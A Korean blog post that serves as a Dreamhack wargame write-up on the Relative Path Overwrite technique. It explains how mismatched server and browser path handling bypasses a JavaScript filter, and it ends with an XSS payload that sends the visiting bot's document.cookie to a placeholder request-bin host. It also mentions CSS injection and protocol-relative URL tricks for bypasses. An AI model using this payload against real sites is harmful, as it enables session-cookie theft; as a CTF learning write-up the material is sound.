security/웹해킹

[Dreamhack Wargame] Relative Path Overwrite + RPO 기법 정리

민사민서 2023. 7. 7. 16:12

RPO (Relative Path Overwrite) 기법

- 서버와 브라우저가 상대 경로를 해석하는 과정에서 발생하는 차이점을 이용한 공격

- 브라우저는 서버의 파일시스템에 접근할 수 없기 때문에 주어진 경로가 정상적인 경로인지를 구분할 수 없음

 

RPO 발생 가능 조건

- URL Rewrite 적용되어있는 사이트 = 웹 어플리케이션 스크립트명 이하의 경로를 별도로 지정해도 같은 페이지가 조회되는 경우

ex) /index.php 하위에 새로운 경로 추가해 요청 보냈을 때

     => 서버는 /index.php 페이지를 리턴 (하위 요소를 경로가 아니라 파라미터로 인식)

     => 브라우저 입장에서는 URL 경로 중 어디부터가 파라미터인지 구분 불가, 전체를 경로로 인식

/index.php
/index.php/
/index.php/12345
/index.php/var filter=[]; <!-- 위 네 경우 모두 index.php 보여진다 -->

 

- 웹페이지 내부에서 상대 경로로 다른 자원을 참조하고 있어야 함

ex) 아래와 같이 js 파일을 source로 불러오고 있을 때,

<script src="/app/main.js"></script>
<script src="app/main.js"></script>

     => https://host/index.php 로 접근 시 두 코드 모두 /app/main.js 를 로드하지만

     => https://host/index.php/ 로 접근 시 두번째 코드는 /index.php/ 를 현재 디렉토리로 인식하여 /index.php/app/main.js 를 로드하게 됨

     => /index.php/app/main.js 로의 접근에 대해 서버는 /index.php 리턴 (due to URL rewrite). 즉 /index.php의 페이지 내용을 자바스크립트의 내용으로써 사용할 수 있음 (**)

// 여기까지가 드림핵 강좌에서 설명하던 내용

 

이해를 돕기 위한 실제 사례들

- dot(.), slash(/), backslash(\), question mark(?), semi-colon(;) 혹은 이것들의 URL 인코딩 값이 경로에 존재할 때

* 브라우저와 서버가 URL 경로를 해석하는데에 있어 차이가 발생

ex) 아래와 같은 코드가 포함된 /example.php 를 불러올 때

<link rel="tylesheet" type="text/css" href="style.css" />

      => 의도된 동작은 /style.css 파일이 호출되는 것.

      => url rewrite를 악용해 /example.php/tmp/ 파일을 호출할 경우, 실제로 서버에서 호출되는 파일은 /example.php지만 브라우저는 /example.php/tmp/를 디렉토리로 인식하고 /example.php/tmp/style.css를 호출함

** CSS는 올바르지 않은 문법을 만나면 무시하고 올바른 문법이 나올 때까지 다음 문법으로 넘어간다는 특징이 존재

** 즉, 해당 페이지 내 일부분에 유효한 CSS 문법을 삽입할 수만 있다면 CSS Injection 공격이 가능함

 

- / (슬래시) 를 URL encoding한 값인 %2f로 바꾸어 건넸는데 파일에 정상적으로 접근 가능할 때

http://www.test.com/path%2fto%2fscript.js

이렇게 접근했는데도 script.js 파일에 정상 접근이 가능하다면, 서버가 path 해석하는 과정에서 변환 일어난다고 추측 가능

"서버가 URL 해석하는 방식"과 "브라우저가 URL 해석하는 방식" (브라우저는 path%2fto%2fscript.js 를 하나의 파일로 해석)이 서로 다름!!

<!-- index.html -->
<script src="path/to/script.js"></script>

상대 경로로 script.js 불러오기 때문에 RPO 취약점 발생

http://www.test.com/say/hello/to/minseo/..%2f..%2f..%2f..%2findex.html

위와 같이 접속한다면 서버는 /index.html을 리턴하겠지만

브라우저는 '..%2f..%2f..%2f..%2findex.html'를 하나의 파일로 인식하여 /say/hello/to/minseo/path/to/script.js 를 로드함

=> 서버 상에 존재하는 임의의 js 파일을 로드할 수 있다. 파일 업로드 취약점까지 있으면 금상천화

=> dot(%2e), slash(%2f), semicolon(%3b) 등 서버와 브라우저의 경로해석을 다르게 하는 문자를 URL encoding해서 보내보자

=> 파일이 정상적으로 로드되면 RPO 취약점 존재

 

/index.php 와 /index.php/ 가 뭐가 다르길래 이런 차이가 발생하는가?

trailing slash

- URL 끝에 붙이는 slash, 맨 뒤에 따라오는 요소가 파일명인지 디렉토리명인지 구분

1) URL에 trailing slash가 있을 때:

서버는 이 요청에 대한 리소스를 디렉토리로 간주

해당 디렉토리가 존재하면 디렉토리의 기본파일 (index.html, index.php)을 확인

2) URL에 trailing slash가 없을 때:

서버는 이 요청에 대한 리소스를 파일로 간주

해당 파일이 없을 경우 해당 이름의 디렉토리를 확인 후 기본파일 (index.html, index.php)을 확인

 

문제 분석

index.php

// 생략
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
            <li><a href="/?page=report">Report</a></li>
          </ul>
        </div><!--/.nav-collapse -->
// 생략
    <div class="container">
      <?php
          $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
          if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
              include $page;
      ?>
    </div> 
// 생략

- 다른 엔드포인트들을 독특한 방식으로 접근, page라는 argument 값에 따라 include 시킴

- : , .. , / 를 필터링하고 있으므로 page 이름 가지고 path traversal 이런 거 못함

 

report.php

<?php
if(isset($_POST['path'])){
    exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
    echo($output[0]);
}
?>

- 코드에 설명이 안되어있긴 한데 flag가 담긴 쿠키와 함께 전달된 URL에 방문하는 기능을 제공함

 

vuln.php

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

- 취약점 1 = filter.js를 상대경로로 불러오고 있음

- 취약점 2 = filter 변수가 undefined이면 필터링 (frame, on, script, object 필터링 하더라) 아예 안함

- 취약점 3 = innerHTML 통해 HTML 요소 삽입 가능, 이벤트핸들러 통한 xss 가능 (script 태그는 막힘)

 

exploit

- 상단 navbar를 통해 vuln.php 로드시켜보면

=> 현재 경로가 /이므로 /filter.js 파일이 정상적으로 로드됨

(host3.dreamhack.games:18360/index.php?page=vuln&param=dreamhack 해도 현재 디렉토리는 /이므로 잘 됨)

 

- /index.php/ 와 같이 요청하여 vuln page 로드시켜보면

=> 현재 디렉토리를 /index.php/ 로 인식하여 /index.php/filter.js 가 로드됨

=> 근데 URL rewrite에 의해 /index.php/filter.js 접근 시 서버는 index.php 페이지를 리턴

=> html 코드를 스크립트로 해석하지 못해 로드 실패. 즉 filtering 적용 안됨. 

 

report.php 엔드포인트에서

index.php/?page=vuln&param=<img src=x onerror="[request bin url]/?"%2Bdocument.cookie>

이렇게 payload 작성해 보내면 됨 (+는 URL decoding 과정에서 white space로 변환되므로 한 번 인코딩 해 줌)

 

cf) Protocol-relative URL

- // 로 시작하는 URL을 Protocol-relative URL

- 현재 해당 요청이 발생하는 페이지, 즉 브라우저에 로드된 페이지의 Protocol을 따라감

- SSRF나 Open Redirect 등 여러가지 우회에 정말 잘 쓰이는 패턴이라고 하네요